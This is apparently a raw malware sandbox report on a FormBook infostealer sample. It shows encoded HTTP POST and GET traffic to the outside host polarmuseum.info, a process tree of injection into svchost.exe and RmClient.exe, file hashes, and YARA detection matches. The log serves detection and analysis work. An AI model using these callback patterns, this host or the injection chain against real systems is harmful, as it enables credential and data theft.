Oct 9, 2024 14:22:14.289009094 CEST	10833	OUT	POST /nuqv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.polarmuseum.info Origin: http://www.polarmuseum.info Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.polarmuseum.info/nuqv/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 52 6f 35 59 65 74 71 48 6c 6d 6b 38 43 6f 62 47 64 4e 55 77 72 43 2b 53 5a 78 2b 6e 44 7a 54 30 6d 38 36 32 55 58 6e 36 47 5a 4f 56 4f 59 51 6e 35 43 38 4a 5a 4d 55 44 48 6d 2f 38 55 6a 34 6a 31 44 46 32 64 67 43 48 4d 66 57 7a 50 78 30 55 53 73 53 45 33 69 4c 64 50 4f 33 38 73 43 69 54 30 52 42 46 41 4b 5a 2b 46 44 46 55 70 49 41 4f 57 67 64 58 6e 39 54 73 52 68 45 7a 54 65 76 69 76 6e 51 5a 6f 76 50 59 78 65 33 35 30 61 77 52 47 51 45 6c 31 32 4f 56 33 56 55 4e 4b 55 34 74 4b 2f 46 6a 4e 53 35 48 68 45 6f 71 38 6a 62 65 2f 76 6d 7a 37 76 44 5a 77 68 31 48 71 43 74 43 54 5a 56 66 43 64 54 61 36 67 6c 42 51 58 71 65 4a 58 6e 74 59 42 51 35 71 76 67 44 35 75 58 67 34 41 6a 4a 55 42 67 76 34 6f 30 58 4f 79 2f 52 4e 6f 6c 64 79 7a 6a 77 45 47 49 50 6b 6f 44 47 4c 74 46 7a 69 6e 35 30 44 53 54 2b 74 78 37 2b 54 34 32 70 34 59 71 39 4a 56 72 4d 6c 47 43 57 47 4f 47 63 2b 2b 62 46 52 36 32 4d 64 45 41 75 39 6f 6e 70 62 63 48 41 42 4c 67 58 66 5a 4c 66 2b 37 71 4b 6f 6c 32 4e 62 65 69 2b 4e [TRUNCATED] Data Ascii: AHkx=Ro5YetqHlmk8CobGdNUwrC+SZx+nDzT0m862UXn6GZOVOYQn5C8JZMUDHm/8Uj4j1DF2dgCHMfWzPx0USsSE3iLdPO38sCiT0RBFAKZ+FDFUpIAOWgdXn9TsRhEzTevivnQZovPYxe350awRGQEl12OV3VUNKU4tK/FjNS5HhEoq8jbe/vmz7vDZwh1HqCtCTZVfCdTa6glBQXqeJXntYBQ5qvgD5uXg4AjJUBgv4o0XOy/RNoldyzjwEGIPkoDGLtFzin50DST+tx7+T42p4Yq9JVrMlGCWGOGc++bFR62MdEAu9onpbcHABLgXfZLf+7qKol2Nbei+NpxNDypINPP7Gssmx1RwcjZFGPty9BJeY6lq4dGLwtXF2i0NpdOApthLYP9J9fMiPnEJdTBxjeckGeotVhgo/lwJe+DfJKGgur328lmm5ZZ+8tKq809cNly589X1Y8Ux0Knua2gHM8B6f/ejqVsc0E8WT02izkqCUvGWpVD77FsKHJ/SMvLY45B6LHiJNdOzuuGplqV4fisnY8Fs2CrZ5xpRygreClSXmdAuW2Epy5dvGTC29T80oE/XMAyulSRTabhfqJnVHZUkJIEHnQfUd12N1GI6cJ5gwbz4CrnEV05ag9NaXV+EhcsNLIzlnrDhFugJGavna25Dj6pIZEMiyPYlMEpnn0lHaluXj9uRUvnP9D16daav/r+95jPChT9JCeKOKpG7eoQeoo6s8vK7pDuafRrSTEzN7f6rdwpNS2VQbzcHZbzsQByrullN1C6CjciXRoinli1KDEuY+yA9Z1PZQnrLjWSoISiOrMh7XFvUT2RFyjyIhV7XwRRWdkaZFtFZ83NLyHAMU5Yb8SKK273a7IrGIPlkxTXr830M/7bwLFcuZPAJPxVqglsZIo3wekiAzDnn/WfPReldxHujt2CLxC7SYWXQoNvMLrDNOXrv/Ni1rJGliPTtGh9ZwADNbwEKPz80NUkXSlCuhKpL47Ziw31j6ieNksx [TRUNCATED]
Oct 9, 2024 14:22:14.726465940 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:22:14 GMT content-type: text/html; charset=utf-8 content-length: 1130 x-request-id: 95a20d4f-d213-4312-a12e-b1a0341d6adf cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bwwSsOG/hTj7Z+Eakf3+Bt00ZJwan5TDSf5fy7MIYb1IWMhYqLtHMy5blwXa+1aZ9H1OKKTs5DWiKPWVk7obdA== set-cookie: parking_session=95a20d4f-d213-4312-a12e-b1a0341d6adf; expires=Wed, 09 Oct 2024 12:37:14 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 62 77 77 53 73 4f 47 2f 68 54 6a 37 5a 2b 45 61 6b 66 33 2b 42 74 30 30 5a 4a 77 61 6e 35 54 44 53 66 35 66 79 37 4d 49 59 62 31 49 57 4d 68 59 71 4c 74 48 4d 79 35 62 6c 77 58 61 2b 31 61 5a 39 48 31 4f 4b 4b 54 73 35 44 57 69 4b 50 57 56 6b 37 6f 62 64 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bwwSsOG/hTj7Z+Eakf3+Bt00ZJwan5TDSf5fy7MIYb1IWMhYqLtHMy5blwXa+1aZ9H1OKKTs5DWiKPWVk7obdA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:22:14.726486921 CEST	583	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTVhMjBkNGYtZDIxMy00MzEyLWExMmUtYjFhMDM0MWQ2YWRmIiwicGFnZV90aW1lIjoxNzI4NDc2NT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49674	199.59.243.227	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:22:16.832210064 CEST	466	OUT	GET /nuqv/?AHkx=cqR4daz/40w4b6reEtYQuTL/A0OxFlThnuSAX3LrEIyAZ4914Ww4a7UdeW+JTGwq/HZWal2FK/CEDxgqbNyvw1T8M+Okxh6a/XFlGr4hKR5quINsThV8goc=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.polarmuseum.info Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:22:17.289824009 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 09 Oct 2024 12:22:16 GMT content-type: text/html; charset=utf-8 content-length: 1486 x-request-id: 27fb0db6-771a-4fc3-8158-a7c0dc03670a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XbWxhFSXbAFNW4a2yZllsfiJgCAlQoLGN//XLyHJZ256n/ol7Jp5giGeqxeruD6cXTvIRMT5lLB8TEuNq8YubQ== set-cookie: parking_session=27fb0db6-771a-4fc3-8158-a7c0dc03670a; expires=Wed, 09 Oct 2024 12:37:17 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 62 57 78 68 46 53 58 62 41 46 4e 57 34 61 32 79 5a 6c 6c 73 66 69 4a 67 43 41 6c 51 6f 4c 47 4e 2f 2f 58 4c 79 48 4a 5a 32 35 36 6e 2f 6f 6c 37 4a 70 35 67 69 47 65 71 78 65 72 75 44 36 63 58 54 76 49 52 4d 54 35 6c 4c 42 38 54 45 75 4e 71 38 59 75 62 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XbWxhFSXbAFNW4a2yZllsfiJgCAlQoLGN//XLyHJZ256n/ol7Jp5giGeqxeruD6cXTvIRMT5lLB8TEuNq8YubQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Oct 9, 2024 14:22:17.289931059 CEST	939	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjdmYjBkYjYtNzcxYS00ZmMzLTgxNTgtYTdjMGRjMDM2NzBhIiwicGFnZV90aW1lIjoxNzI4NDc2NT

Target ID:	0
Start time:	08:18:25
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\w64HYOhfv1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\w64HYOhfv1.exe"
Imagebase:	0x400000
File size:	1'363'343 bytes
MD5 hash:	AC184C685020CEFF107E43CABBA13B4F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	08:18:31
Start date:	09/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\w64HYOhfv1.exe"
Imagebase:	0x40000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	08:18:44
Start date:	09/10/2024
Path:	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe"
Imagebase:	0xbe0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	08:18:48
Start date:	09/10/2024
Path:	C:\Windows\SysWOW64\RmClient.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\RmClient.exe"
Imagebase:	0xe30000
File size:	15'360 bytes
MD5 hash:	CE765DCC7CDFDC1BFD94CCB772C75E41
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	08:19:00
Start date:	09/10/2024
Path:	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe"
Imagebase:	0xbe0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	08:19:13
Start date:	09/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true